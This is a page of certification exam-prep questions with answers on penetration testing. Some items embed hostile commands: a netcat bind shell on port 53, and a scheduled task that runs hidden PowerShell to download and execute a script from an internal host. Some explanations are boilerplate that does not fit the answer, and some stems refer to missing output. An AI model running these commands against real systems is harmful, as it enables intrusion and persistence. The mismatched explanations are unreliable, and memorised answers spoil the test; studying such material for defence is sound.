Page 8 of 17 · 334 total questions.
Which of the following will reduce the possibility of introducing errors or bias in a penetration test report?
The correct answer is B. Option B: Peer review
A penetration tester identifies the URL for an internal administration application while following DevOps team members on their commutes. Which of the following attacks did penetration tester most likely use?
The correct answer is A. Option A: Shoulder surfing
During an assessment, a penetration tester obtains access to an internal server and would like to perform further reconnaissance by capturing LLMNR traffic. Which of the following tools should the tester use?
The correct answer is C. Option C: Responder
A penetration tester needs to obtain sensitive data from several executives who regularly work while commuting by train. Which of the following methods should the tester use for this task?
The correct answer is A. Option A: Shoulder surfing
While performing reconnaissance, a penetration tester attempts to identify publicly accessible ICS and IoT systems. Which of the following tools is most effective for this task?
The correct answer is B. Option B: Shodan
A penetration tester successfully gained access to manage resources and services within the company’s cloud environment. This was achieved by exploiting poorly secured administrative credentials that had extensive permissions across the network. Which of the following credentials was the tester able to obtain?
The correct answer is A. Option A: IAM credentials This option keeps traffic private / properly secured as required.
Which of the following frameworks can be used to classify threats?
The correct answer is B. Option B: STRIDE
A penetration tester is enumerating a Linux system. The goal is to modify the following script to provide more comprehensive system information: #!/bin/bash ps aux >> linux enum.txt Which of the following lines would provide the most comprehensive enumeration of the system?
The correct answer is A. Option A: cat /etc/passwd >> linux_enum.txtnetstat -tulr >> linux_enum.txtcat /etc/bash.bashrc >> linux_enum. txt
During an assessment, a penetration tester sends the following request: POST /services/v1/users/create HTTP/1.1 Host: target-application.com - Content-Type: application/json - Content-Length: [dynamic] Authorization: Bearer [FUZZE] Which of the following attacks is the penetration tester performing?
The correct answer is B. Option B: API abuse
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops: Which of the following technical controls should the tester recommend to reduce the risk of compromise?
The correct answer is C. Option C: System hardening
Which of the following elements of a penetration test report can be used to most effectively prioritize the remediation efforts for all the findings?
The correct answer is C. Option C: Risk score
A penetration tester observes the following output from an Nmap command while attempting to troubleshoot connectivity to a Linux server. Which of the following is the most likely reason for the connectivity issue?
The correct answer is A. Option A: The SSH service is running on a different port.
Which of the following methods should a physical penetration tester employ to access a rarely used door that has electronic locking mechanisms?
The correct answer is E. Option E: Bypassing
A penetration tester finds an un authenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to perform the task with the fewest web requests?
The correct answer is A. Option A: nc -e /bin/sh -lp 53
With one day left to complete the testing phase of an engagement, a penetration tester obtains the following results from an Nmap scan: Which of the following tools should the tester use to quickly identify a potential attack path?
The correct answer is B. Option B: SearchSploit
A tester is working on an engagement that has evasion and stealth requirements. Which of the following enumeration methods is the least likely to be detected by the IDS?
The correct answer is A. Option A: curl https://api.shodan.io/shodan/host/search?key=&query=hostname:
A penetration tester needs to confirm the version number of a client’s web-application server. Which of the following techniques should the penetration tester use?
The correct answer is C. Option C: Banner grabbing
A penetration tester wants to identify all the TLS versions used in a web service in order to determine potentially insecure versions. Which of the following commands should the tester use?
The correct answer is A. Option A: nmap --script ssl-enum-ciphers This option keeps traffic private / properly secured as required.
Eight months after the completion of a penetration test, the client emails the penetration tester to debate the validity of several findings. The findings are now posing a hindrance to compliance certifications. Which of the following would most likely assist the penetration tester with de-escalation?
The correct answer is D. Option D: Client acceptance
A tester obtained access to a computer using a SMB exploit and now has a shell access into the target computer. The tester runs the following on the obtained shell: schtask /create /tn Updates /tr "C:\windows\syswow64\Windows\WindowsPowershell\v1.0\powershell.exe hidden -NoLogo -NoInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.10.1.2/asd')))'" /sc onlogon /ru System Which of the following does this action accomplish?
The correct answer is C. Option C: Maintains access into the compromised computer
Showing questions 141–160 of 334 · Page 8 of 17